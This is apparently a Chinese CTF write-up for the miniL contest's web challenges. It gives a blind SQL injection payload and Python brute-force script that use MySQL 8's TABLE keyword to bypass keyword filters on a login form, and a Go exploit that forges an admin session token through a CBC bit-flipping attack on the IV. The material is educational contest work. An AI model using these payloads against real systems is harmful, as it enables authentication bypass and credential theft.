-
-
西电miniL-web部分题解
-
2022-5-13 14:08 11545
-
前言
一个 的五一假期,总体来说这次minictf就web方向的题目我感觉还是有点难度的,考察范围很广泛,其中两道java相关的也是不知道怎么搞。不过有幸拿到了mini_sql的一血,还是很激动的。同时还扩展了一些密码学的东西,比如这个checkin。总之虽然排名并不是很靠前,但学到了很多有用的新姿势,血赚不亏。
学到的新东西
- MYSQL8新特性在SQL注入中的利用
- CBC字节反转攻击
mini_sql
题目分析
打开题目环境F12可以看到hint(当时没有看这个页面,结果为了 users
这个表名搞了很长时间,结果发现居然有hint。拿到题目一定要仔细啊,不放过任何地方)
存在SQL注入,先fuzz一下看ban掉了哪些关键字符
过滤了很多东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | # $ % ^ * + - ' ? select union information or and substr char sleep if |
可以看到select都用不了,还有注释单引号什么的,但发现 \
并未被ban,所以根据它的sql语句可以在username处来个 \
转义掉后面的 '
即它后端的sql语句变成了这样
1 | select * from users where username = '\' and password=' YOUR_INPUT'; |
而对于最后的这个 '
,由于注释符被过滤了,所以可以使用 ;%00
来代替,截断后面的 '
所以后端的sql查询语句可以是
1 | select * from users where username = '\' and password=' || 1 ; % 00 ' |
构造payload发送,可以发现response了 success
但即便是成功登录了也没法拿到falg,测试发现其语法不出错的情况下只有 success!
和 fail!
两种返回值。
基本上可以确定是要盲注了
但问题就难在这里or、 select、 union
等关键字都被ban了,很难找到突破口,但我一个习惯确帮助我解决了这道题。对于sql注入我会习惯性的去使用 database()
和 version()
去查看它当前的数据库名和版本信息。试了下发现当前数据库名为 ctf
,但好像没啥用。但这个 version 就不一样了。
试了下payload
1 | username = \&password = ||version() = 5 ; % 00 |
发现竟然返回了 fail!
,那就说明这是 mysql8 的版本。验证一下
既然是 mysql8 那因该是有一些其它奇奇怪怪的注入姿势,结果果真有,比如说mysql8新增的 TABLE
关键字。
前置知识
TABLE关键字(MYSQL8)
翻阅mysql8的 官方文档 可以找到 TABLE 关键字的用法
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
它的作用和 SELECT * FROM table_name
的作用差不多,都是列出表的整个内容
(下文实例的所有users表内容均相同)
1 2 3 4 5 6 7 8 9 | mysql> TABLE users; + - - - - - - + - - - - - - - - - - - + - - - - - - - - - - + | id | username | password | + - - - - - - + - - - - - - - - - - - + - - - - - - - - - - + | 1 | admin | qwe123 | | 2 | guest | asd321 | | 3 | adds3awed | 12 @qd24 | + - - - - - - + - - - - - - - - - - - + - - - - - - - - - - + 3 rows in set ( 0.00 sec) |
配合 LIMIT
关键字可以精确到某一行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | mysql> TABLE users LIMIT 0 , 1 ; + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + | id | username | password | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + | 1 | admin | qwe123 | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + 1 row in set ( 0.00 sec) mysql> TABLE users LIMIT 1 , 1 ; + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + | id | username | password | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + | 2 | guest | asd321 | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + 1 row in set ( 0.01 sec) mysql> TABLE users LIMIT 1 ; + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + | id | username | password | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + | 1 | admin | qwe123 | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + 1 row in set ( 0.00 sec) |
还可以配合 ORDER BY
详情可以翻阅文档,这里不再赘述。
mysql的字符串比较
mysql中的字符串可以配合 ()
和表的某一行进行比较,如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | mysql> SELECT ( 1 , 'admin' , 'qwe123' ) = (SELECT * FROM users LIMIT 1 ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 1 , 'admin' , 'qwe123' ) = (SELECT * FROM users LIMIT 1 ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 1 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) # MYSQL8中使用 TABLE 关键字 mysql> SELECT ( 1 , 'admin' , 'qwe123' ) = (TABLE users LIMIT 1 ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 1 , 'admin' , 'qwe123' ) = (TABLE users LIMIT 1 ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 1 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) |
对于字符串之间的大小比较其规则是这样的:
不区分大小写,按照0-9a-z的ascii码大小顺序进行比较,先从两个串的第一个字符进行比较ascii值,第一个字符相同的,比较第二个字符,不同则按照 >
还是 <
直接返回 1或0,如果相同再比较下一个以此类推。如果前面字符全部相同,则以长度更长的为大。如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | mysql> SELECT 'a' < 'C' ; + - - - - - - - - - + | 'a' < 'C' | + - - - - - - - - - + | 1 | + - - - - - - - - - + 1 row in set ( 0.00 sec) mysql> SELECT 'e' > 'ef' ; + - - - - - - - - - - + | 'e' > 'ef' | + - - - - - - - - - - + | 0 | + - - - - - - - - - - + 1 row in set ( 0.00 sec) mysql> SELECT 'adc' < 'aea' ; + - - - - - - - - - - - - - + | 'adc' < 'aea' | + - - - - - - - - - - - - - + | 1 | + - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) mysql> SELECT 'qwe' > 'qwf' ; + - - - - - - - - - - - - - + | 'qwe' > 'qwf' | + - - - - - - - - - - - - - + | 0 | + - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) |
利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | mysql> SELECT ( 'a' , 'b' , 'cd' )<( 'a' , 'b' , 'ce' ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 'a' , 'b' , 'cd' )<( 'a' , 'b' , 'ce' ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 1 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.01 sec) mysql> SELECT ( 'a' , 'b' , 'cd' )<( 'a' , 'b' , 'cd' ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 'a' , 'b' , 'cd' )<( 'a' , 'b' , 'cd' ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 0 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) mysql> SELECT ( 'a' , 'b' , 'cd' )<( 'a' , 'c' , 'ab' ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 'a' , 'b' , 'cd' )<( 'a' , 'c' , 'ab' ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 1 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) |
和表查询结果比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | mysql> TABLE users; + - - - - - - + - - - - - - - - - - - + - - - - - - - - - - + | id | username | password | + - - - - - - + - - - - - - - - - - - + - - - - - - - - - - + | 1 | admin | qwe123 | | 2 | guest | asd321 | | 3 | adds3awed | 12 @qd24 | + - - - - - - + - - - - - - - - - - - + - - - - - - - - - - + 3 rows in set ( 0.00 sec) mysql> SELECT ( 1 , 'admin' ,'')<(TABLE users LIMIT 1 ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 1 , 'admin' ,'')<(TABLE users LIMIT 1 ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 1 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) mysql> SELECT ( 1 , 'admin' , 'qw' )<(TABLE users LIMIT 1 ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 1 , 'admin' , 'qw' )<(TABLE users LIMIT 1 ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 1 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) mysql> SELECT ( 1 , 'admin' , 'qx' )<(TABLE users LIMIT 1 ); + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | ( 1 , 'admin' , 'qx' )<(TABLE users LIMIT 1 ) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | 0 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 row in set ( 0.00 sec) |
所以可以利用这些来盲注爆破
题解
了解了上文的相关信息后这题就好解了,既然是 users 表,那一般是三个字段 id, username, password。id 第一个应该是 1 (不放心可以验证一下),后面的 username 和 password 写脚本爆破一下就好了。
可以构造 payload :
1 | username = 1 \&password = ||( 1 , 0x21 , 0x21 )<(table users limit 1 ); % 00 |
爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | import requests dic = '_0123456789abcdefghijklmnopqrstuvwxyz' # 字典 url = "http://47.93.215.154:10000/login.php" def str2hex( str ): result = '0x' for i in str : result + = hex ( ord (i))[ 2 :] return result def boomSql(): result = '' for i in range ( 1 , 40 ): for j in range ( len (dic)): #print(dic[j]) # 手动测试第一个字段 id # 结果:1 # 爆第二个字段 username # 结果: w3lc0me_t0_m1n1lct5 # 16进制为 0x77336c63306d655f74305f6d316e316c637435 payload1 = { "username" : "1\\" , "password" : f "||(1,{str2hex(result+dic[j])},0x21)<(table users limit 1);\x00" } # 爆第三个字段 password # 结果:cd51c1005cab68be2f7e6112a4de3e88 # 因为最后一个字符完成后长度相等又判断为假 所以最后一个字符应为其下一个字母 # 但是这仅限最后一个字段 # 所以正确结果是cd51c1005cab68be2f7e6112a4de3e89 payload2 = { "username" : "1\\" , "password" : f "||(1,0x77336c63306d655f74305f6d316e316c637435,{str2hex(result+dic[j])})<(table users limit 1);\x00" } res = requests.post(url = url, data = payload1) # print(res.text) if "success" in res.text: continue elif "fail" in res.text: # 返回假时表示上一个字母即为正确结果 result + = dic[j - 1 ] break print (result) if __name__ = = '__main__' : boomSql() |
运行得到 username 和 password
登录拿到flag
checkin
题目分析
打开题目告诉
1 | Only admin can get the secret! |
然后仔细研究了一下这个token,发现最前面固定为 0001145141919810
,然后..............不会了
后来给了源码,用go语言写的。当时go也没学过,简单学了一下,了解了下关键函数的作用。
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | / / User的结构 type User struct { Name string CreateAt int64 IP string } / / 初始化一个token func IndexController(c * gin.Context) { _, err : = c.Cookie( "token" ) if err = = nil { c.Redirect(http.StatusFound, "/home" ) } / / token的结构,后面TokenDecrypt后的结构也是如此 user : = models.User{Name: "guest" , CreateAt: time.Now().Unix(), IP: c.ClientIP()} jsonUser, _ : = json.Marshal(user) token, _ : = utils.TokenEncrypt(jsonUser) c.SetCookie( "token" , token, 3600 , "/" , "", false, true) c.Redirect(http.StatusFound, "/home" ) } |
flagController.go文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | func HomeController(c * gin.Context) { token, err : = c.Cookie( "token" ) if err ! = nil { c.Redirect(http.StatusFound, "/" ) } jsonUser, _ : = utils.TokenDecrypt(token) user : = models.User{} _ = json.Unmarshal([]byte(jsonUser), &user) / / 只要TokenDecrypt后的结构中的Name为admin就可拿到flag if user.Name = = "admin" { file , _ : = os. Open ( "/flag" ) defer file .Close() content, _ : = ioutil.ReadAll( file ) _, _ = c.Writer.WriteString(string(content)) } else { _, _ = c.Writer.WriteString( "Only admin can get the secret!" ) } } |
token.go文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | var key = []byte(config.KEY) / / 配置文件中的密钥(未知)但大小为 16 字节 var iv = []byte(config.IV) / / CBC加密的初始向量 0001145141919810 ( 16 字节) type tokenError struct { error string } func (e * tokenError) Error() string { return e.error } / / 对User进行CBC分组加密的函数 func TokenEncrypt(user []byte) (string, error) { block, err : = aes.NewCipher(key) if err ! = nil { return "", err } blockSize : = block.BlockSize() / / 密钥大小 originData : = pad(user, blockSize) / / 根据密钥大小分组 blockMode : = cipher.NewCBCEncrypter(block, iv) / / 创建加密对象,包含密钥key和初始向量IV encrypted : = make([]byte, len (originData)) blockMode.CryptBlocks(encrypted, originData) / / CBC算法,详情见后文 return base64.StdEncoding.EncodeToString(append([]byte(config.IV), encrypted...)), nil / / base64编码 } / / 按 16 字节一组进行分组 func pad(ciphertext []byte, blockSize int ) []byte { padding : = blockSize - len (ciphertext) % blockSize padText : = bytes.Repeat([]byte{byte(padding)}, padding) return append(ciphertext, padText...) } / / CBC解密 func TokenDecrypt(user string) (string, error) { decodeData, err : = base64.StdEncoding.DecodeString(user) iv = decodeData[: 16 ] / / 前 16 个字节为初始向量iv decodeData = decodeData[ 16 :] / / 后面为密文 if err ! = nil { return " ", &tokenError{" Invalid token"} } block, _ : = aes.NewCipher(key) blockMode : = cipher.NewCBCDecrypter(block, iv) originData : = make([]byte, len (decodeData)) blockMode.CryptBlocks(originData, decodeData) decrypted, err : = unPad(originData) / / 整合 if err ! = nil { return " ", &tokenError{" padding error"} } return string(decrypted), nil } / / 将多个原文组整合到一起 func unPad(ciphertext []byte) ([]byte, error) { length : = len (ciphertext) unPadding : = int (ciphertext[length - 1 ]) if unPadding < 1 || unPadding > 16 { return []byte(" "), &tokenError{" padding error"} } for i : = 0 ; i < unPadding; i + + { if int (ciphertext[length - i - 1 ]) ! = unPadding { return []byte(" "), &tokenError{" padding error"} } } return ciphertext[:(length - unPadding)], nil } |
然后.....又不知道怎么办了,感觉是密码学的问题。后来问了问 Carrot2 学长,提示了下是 CBC字节反转攻击 后面网上学习了一下,总算是解决了。
前置知识
CBC全称Cipher Block Chaining,密码分组链接模式
大致的过程是:
- 将原文分为若干组,每组的大小一般为初始向量IV的大小,后面不足则填充到相应的大小
- 先将第一组与初始向量IV异或得到中间值,之后再用加密算法对中间值进行加密得到第一块Ciphertext,然后再用这块Ciphertext和第二块原文异或得到中间值,再对这个中间值加密得到第二块Ciphertext,后续操作亦是如此。
- 将每一块Ciphertext整合得到最终密文(一般还可以在最终的密文前带上初始向量IV,checkin这题就是这样)
解密反过来操作就行了,这里不再赘述
详情请见 https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
加密过程
解密过程
从加密过程中可以看到,每个密文块都依赖于它前面所有的明文块,所以某一个密文块的变化会影响后一个区块解密后的原文
CBC Bit-Flipping Attack在国内又被称为CBC字节翻转攻击,无论是翻转bit还是byte,本质上还是一致的,所以不必纠结中英文的不同。首先要知道该攻击发生在CBC的解密环节上。
上图可以直观地看到,在解密过程里,通过翻转前一组密文里特定位置的bit,从而达到了翻转下一组明文里特定位置bit的效果。同样的,如果可以修改iv,那么也可以修改第一组解密出的明文内容(checkin这道题的解法就是这样)。
进一步分析其原理 (参考 https://masterpessimistaa.wordpress.com/2017/05/03/cbc-bit-flipping-attack/ ):
从上图可以清楚得到:
1 | A = P ^ BlockCipherDecryption(B) |
需要注意的是 BlockCipherDecryption(B)是一个常量,因为这里没有修改B
对于分组的第n字节,相应地有:
1 | A[n] = P[n] ^ BlockCipherDecryption(B[n]) / / 式( 1 ) |
变形得到:
1 | BlockCipherDecryption(B[n]) = A[n] ^ P[n] / / 式( 2 ) |
在式(1)里,假定我们想要输出的明文P[n]为我们想要的明文,设为P1
在式(2)里,假定输出的明文P[n]是密文未经过修改得到的真实明文,设为P2
于是由式(1)式(2)得:
1 | A[n] = P1 ^ A[n] ^ P2 |
调整顺序:
1 | A[n] = A[n] ^ P1 ^ P2 |
可见,通过这种方式就可以修改密文达到翻转解密出的明文字节的效果。
题解
由题目源码可知是16个字节为一组,需要修改的 Name 正好在第一组,所以只需要修改初始向量 iv 使得 guest
变为 admin
即可
由上文分析不难推出最终计算所需 iv 的公式为
1 | IV = IV ^ admin ^ guest / / 这里计算的是对应的一个字节 |
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | package main import ( "encoding/json" "fmt" "time" ) var iv = []byte( "0001145141919810" ) type User struct { Name string CreateAt int64 IP string } func main() { var iv = []byte( "0001145141919810" ) user : = User{Name: "guest" , CreateAt: time.Now().Unix(), IP: "127.0.0.1" } jsonUser, _ : = json.Marshal(user) admin : = User{Name: "admin" , CreateAt: time.Now().Unix(), IP: "127.0.0.1" } jsonAdmin, _ : = json.Marshal(admin) / / 每一组为 16 个字节,修改第一组即可 for i : = 0 ; i < 16 ; i + + { fmt. Print (string(iv[i] ^ jsonAdmin[i] ^ jsonUser[i])) } } |
运行得到所需iv为
1 | 0001145147 ( 9 #"10 |
将原来token前面的iv( 0001145141919810
)替换为 0001145147(9#"10
,编码后发送,认证成功,拿到flag
include
很简单的签到题,这里不再赘述。
参考链接
https://www.codetd.com/article/13126014
https://www.jianshu.com/p/f4684322e851
https://dev.mysql.com/doc/refman/8.0/en/table.html
https://ce-automne.github.io/2019/05/23/CBC-Bit-Flipping-Attack-Conclusion/
https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。